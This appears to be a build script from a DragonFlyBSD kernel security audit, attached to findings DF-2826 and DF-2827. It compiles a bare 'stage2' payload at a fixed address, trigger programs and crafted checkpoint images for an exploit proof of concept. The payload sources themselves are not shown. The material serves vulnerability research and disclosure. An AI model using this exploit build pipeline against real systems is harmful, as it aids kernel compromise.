DragonFlyBSD Kernel Audit
DF-2826 / build.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2826 / DF-2827 build (run inside guest /root/df2826)
set -e
cd /root/df2826

echo '== gen =='
cc -O -o gen gen.c

echo '== stage2 =='
cc -O2 -fno-stack-protector -fomit-frame-pointer -nostdlib -c stage2.c -o stage2.o
ld -Ttext=0x60000000 -o stage2.elf stage2.o
objcopy -O binary stage2.elf stage2.bin
ENTRY=$(nm stage2.elf | awk '/ T _start$/ {print $1}')
echo "stage2 entry: 0x$ENTRY"

echo '== triggers =='
cc -O -o trigger_fd3 trigger_fd3.c
cc -O -o trigger_fd0 trigger_fd0.c

echo '== image =='
./gen df2826.ckpt stage2.bin normal 0x$ENTRY
./gen df2827.ckpt stage2.bin zero

echo '== fixtures =='
mkdir -p /tmp/df2826
printf 'MARKER-DF2826-X\n' > /tmp/df2826/reclaim
printf 'x' > /tmp/df2826/dummy

ls -l gen stage2.bin df2826.ckpt df2827.ckpt trigger_fd3 trigger_fd0
echo BUILD-OK